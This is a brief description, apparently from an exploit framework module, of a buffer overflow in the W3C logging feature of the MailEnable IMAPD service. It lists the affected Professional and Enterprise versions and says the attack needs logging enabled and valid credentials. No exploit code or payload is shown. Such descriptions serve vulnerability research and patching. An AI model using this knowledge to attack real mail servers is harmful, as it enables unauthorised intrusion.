          This module exploits a buffer overflow in the W3C logging
        functionality of the MailEnable IMAPD service. Logging is
        not enabled by default and this exploit requires a valid
        username and password to exploit the flaw. MailEnable
        Professional version 1.6 and prior and MailEnable Enterprise
        version 1.1 and prior are affected.
